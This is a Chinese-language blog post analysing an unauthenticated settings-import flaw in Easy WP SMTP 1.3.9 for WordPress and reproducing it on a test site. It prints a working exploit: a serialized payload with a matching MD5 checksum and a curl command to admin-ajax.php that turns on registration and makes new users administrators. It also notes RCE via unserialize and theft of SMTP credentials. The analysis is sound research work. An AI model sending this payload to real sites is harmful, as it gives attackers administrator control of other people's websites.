背景
2019年3月中旬,Ninja公司的waf产品[NinjaFirewall (WP Edition)]拦截到针对easy-wp-smtp 插件v1.3.9版本的攻击。此0day漏洞可造成未授权用户修改wordpress站点设置,甚至造成恶意代码注入。Easy WP SMTP是wordpress知名插件之一,拥有300,000+活跃安装。
漏洞分析
此次漏洞出现在easy-wp-smtp/easy-wp-smtp.php
文件的admin_init函数
中。该函数可在用户访问admin时进行hook,主要功能是查看/删除日志,增加/删除/更新数据库配置。但此处并未对用户鉴权,未判断用户身份,导致任意用户可修改站点配置。
漏洞利用
在此我们借助Ninja给出的exp进行分析。
https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/
我们将利用此漏洞修改wordpress站点设置,开启站点注册,并设置默认注册用户为administrator。
在wordpress站点配置选项中,users_can_register选项为是否启用注册选项,default_role是注册用户默认身份选项。在默认配置中,users_can_register配置为0即关闭,default_role配置为subscriber(订阅者)二者的值可在wordpress数据库wp_options表中查到。
在v1.3.9版本代码easy-wp-smtp.php文件的308行
$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
此处的file_get_contents是用来接收传入的配置文件的,实现导入配置文件功能
309-323行
try { $in = unserialize( $in_raw ); if ( empty( $in[ 'data' ] ) ) { echo $err_msg; wp_die(); } if ( empty( $in[ 'checksum' ] ) ) { echo $err_msg; wp_die(); } if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) { echo $err_msg; wp_die(); } $data = unserialize( $in[ 'data' ] );
320行$in = unserialize( $in_raw );
以及323行$data = unserialize( $in[ 'data' ] );
对导入的配置文件进行了两次反序列化。
之后的foreach中,解析$data数组并使用update_option函数更新配置。
foreach ( $data as $key => $value ) { update_option( $key, $value ); }
我们由此倒推,foreach中接受的值应为
{ ["users_can_register"]=> string(1) "1" ["default_role"]=> string(13) "administrator" }
先序列化一波
"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
我们注意到上述过程中需要checksum,需要array:
{ ["data"]=> string(81) "a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}" ["checksum"]=> string(32) "3ce5fb6d7b1dbd6252f4b5b3526650c8" }
序列化后
a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
以上字符串写入/tmp/wpexp.txt中,然后执行以下命令
$ curl https://TARGET/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/wpexp.txt'
在此解释一下这条命令
/wp-admin/admin.php文件中有以下注释
Note, this does not just run on user-facing admin screens.
It runs on admin-ajax.php and admin-post.php as well.
我们在admin-ajax.php使用action=swpsmtp_clear_log
触发漏洞
漏洞复现
执行exp前
我们首先搭建一个wordpress站点,安装v1.3.9版本的Easy WP SMTP,并进行相关配置。
默认无法注册
此时我们留意一下站点默认配置
默认数据库值
执行exp后
刷新站点即可看到注册
注册后即为administrator
网站配置
漏洞危害
1.因为此插件使用了不安全的unserialize()方法
,所以可导致RCE
2.任意用户可查看/修改/删除日志
3.可任意查看wordpress插件配置,甚至包括SMTP的地址、用户名、密码。
根据捕获的攻击样本显示,攻击者更倾向于修改wp_user_roles的值,将所有用户的权限修改为管理员,这样订阅者依然显示为subscriber但却可以执行管理员权限。
附上PDF版本 链接: https://pan.baidu.com/s/16-iwmT5DnUt_Itiie90-yQ 提取码: ujkt
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !